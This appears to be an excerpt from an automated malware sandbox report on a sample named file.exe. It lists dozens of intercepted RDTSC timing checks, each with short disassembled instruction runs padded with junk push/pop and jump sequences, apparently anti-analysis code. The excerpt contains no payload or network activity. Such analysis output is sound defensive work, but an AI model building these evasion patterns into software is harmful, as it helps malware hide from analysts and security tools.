Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131B53A second address: 131B555 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB2DD1878A3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131B99F second address: 131B9C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007FB2DCBE2A32h 0x0000000f pop esi 0x00000010 jnp 00007FB2DCBE2A32h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131BB28 second address: 131BB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132221C second address: 132222F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FB2DCBE2A2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132222F second address: 1322233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322500 second address: 132250A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB2DCBE2A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322810 second address: 132282C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB2DD1878A2h 0x0000000b popad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132282C second address: 1322837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322837 second address: 132283D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132283D second address: 1322841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322841 second address: 1322845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13232EC second address: 13232F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13232F2 second address: 13232F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1323A2A second address: 1323A2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132AE66 second address: 132AE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132AE6D second address: 132AE74 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A8E0 second address: 132A8ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FB2DD187896h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A8ED second address: 132A911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FB2DCBE2A28h 0x0000000f jmp 00007FB2DCBE2A33h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132A911 second address: 132A92B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DD1878A0h 0x00000009 ja 00007FB2DD187896h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334A25 second address: 1334A35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 je 00007FB2DCBE2A26h 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334A35 second address: 1334A48 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB2DD18789Ch 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133988A second address: 13398A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A35h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13398A5 second address: 13398AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FB2DD187896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339331 second address: 133936C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB2DCBE2A34h 0x0000000f js 00007FB2DCBE2A26h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB2DCBE2A34h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D871 second address: 133D87C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB2DD187896h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D87C second address: 133D89F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB2DCBE2A32h 0x00000008 pop edx 0x00000009 push esi 0x0000000a jmp 00007FB2DCBE2A2Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134270D second address: 1342711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134AB4F second address: 134AB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134AB54 second address: 134AB5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1352343 second address: 135234B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135234B second address: 1352381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB2DD1878A8h 0x00000009 popad 0x0000000a jmp 00007FB2DD1878A1h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FB2DD187896h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1352381 second address: 13523A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FB2DCBE2A36h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13523A2 second address: 13523CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB2DD1878A8h 0x00000009 pushad 0x0000000a popad 0x0000000b jnl 00007FB2DD187896h 0x00000011 popad 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1350B10 second address: 1350B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1350F5C second address: 1350F66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1351406 second address: 135140B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13566F9 second address: 135671A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB2DD187896h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007FB2DD1878A4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135671A second address: 135671F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358C9F second address: 1358CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358CA3 second address: 1358CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358CA9 second address: 1358CAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358CAF second address: 1358CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358CB5 second address: 1358CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377403 second address: 1377422 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FB2DCBE2A35h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377422 second address: 1377446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007FB2DD1878A9h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270D40 second address: 1270D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270D46 second address: 1270D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270D4B second address: 1270D71 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB2DCBE2A28h 0x00000008 jmp 00007FB2DCBE2A35h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270D71 second address: 1270D94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FB2DD187896h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB2DD1878A4h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270D94 second address: 1270D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270D9C second address: 1270DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DEE8 second address: 138DEF2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB2DCBE2A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391C3C second address: 1391C4C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB2DD1878A2h 0x00000008 jnp 00007FB2DD187896h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391E14 second address: 1391E28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FB2DCBE2A26h 0x0000000e jnl 00007FB2DCBE2A26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391E28 second address: 1391E3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD18789Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13925E5 second address: 13925FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FB2DCBE2A34h 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FB2DCBE2A2Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13925FF second address: 139261B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FB2DD1878A7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13955EA second address: 13955F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13955F0 second address: 13955F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395929 second address: 139592D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139592D second address: 1395933 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395933 second address: 1395942 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395942 second address: 1395946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395946 second address: 139594C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139594C second address: 139595B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DD18789Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139595B second address: 139595F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139595F second address: 1395998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000004h 0x0000000b mov edx, dword ptr [ebp+12442F30h] 0x00000011 mov dword ptr [ebp+122D245Eh], esi 0x00000017 call 00007FB2DD187899h 0x0000001c jl 00007FB2DD18789Ah 0x00000022 push eax 0x00000023 jp 00007FB2DD1878A2h 0x00000029 jnl 00007FB2DD18789Ch 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395998 second address: 13959A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13959A8 second address: 13959AD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13959AD second address: 13959D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edx 0x0000000a jng 00007FB2DCBE2A28h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FB2DCBE2A2Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13959D2 second address: 13959D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13959D6 second address: 13959DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396FAD second address: 1396FDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jnl 00007FB2DD187896h 0x00000016 js 00007FB2DD187896h 0x0000001c popad 0x0000001d push esi 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 pop esi 0x00000021 jl 00007FB2DD187898h 0x00000027 push edx 0x00000028 pop edx 0x00000029 pushad 0x0000002a push edi 0x0000002b pop edi 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396FDB second address: 1396FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB2DCBE2A26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1398A2E second address: 1398A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB2DD187896h 0x0000000a pop eax 0x0000000b jp 00007FB2DD187898h 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007FB2DD18789Fh 0x00000018 push ecx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pushad 0x0000001c popad 0x0000001d pop ecx 0x0000001e popad 0x0000001f push ecx 0x00000020 ja 00007FB2DD1878ADh 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100282 second address: 510032E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FB2DCBE2A30h 0x00000010 push eax 0x00000011 pushad 0x00000012 call 00007FB2DCBE2A31h 0x00000017 call 00007FB2DCBE2A30h 0x0000001c pop ecx 0x0000001d pop ebx 0x0000001e pushfd 0x0000001f jmp 00007FB2DCBE2A30h 0x00000024 xor ecx, 36CC0868h 0x0000002a jmp 00007FB2DCBE2A2Bh 0x0000002f popfd 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 pushad 0x00000033 pushad 0x00000034 movzx esi, bx 0x00000037 call 00007FB2DCBE2A37h 0x0000003c pop ecx 0x0000003d popad 0x0000003e push edx 0x0000003f mov cl, 29h 0x00000041 pop edi 0x00000042 popad 0x00000043 mov ebp, esp 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FB2DCBE2A33h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510032E second address: 5100346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DD1878A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100346 second address: 510034A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510034A second address: 5100370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB2DD1878A9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100370 second address: 5100376 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100376 second address: 510037C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510037C second address: 5100380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003E2 second address: 51003E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003E6 second address: 51003EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51003EC second address: 510040D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 mov edx, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB2DD1878A2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510040D second address: 5100413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100413 second address: 5100424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DD18789Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6428 second address: 12B643F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB2DCBE2A2Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B643F second address: 12B644D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB2DD187896h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510044E second address: 51004B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 mov cx, FA09h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FB2DCBE2A34h 0x00000012 push eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FB2DCBE2A31h 0x0000001a or cl, 00000046h 0x0000001d jmp 00007FB2DCBE2A31h 0x00000022 popfd 0x00000023 mov eax, 312EAAF7h 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d jmp 00007FB2DCBE2A2Fh 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51004B3 second address: 51004B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51004B8 second address: 51004E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB2DCBE2A35h 0x00000009 adc cl, 00000006h 0x0000000c jmp 00007FB2DCBE2A31h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51004E8 second address: 510051B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FB2DD1878A9h 0x00000012 jmp 00007FB2DD18789Bh 0x00000017 popfd 0x00000018 popad 0x00000019 rdtsc
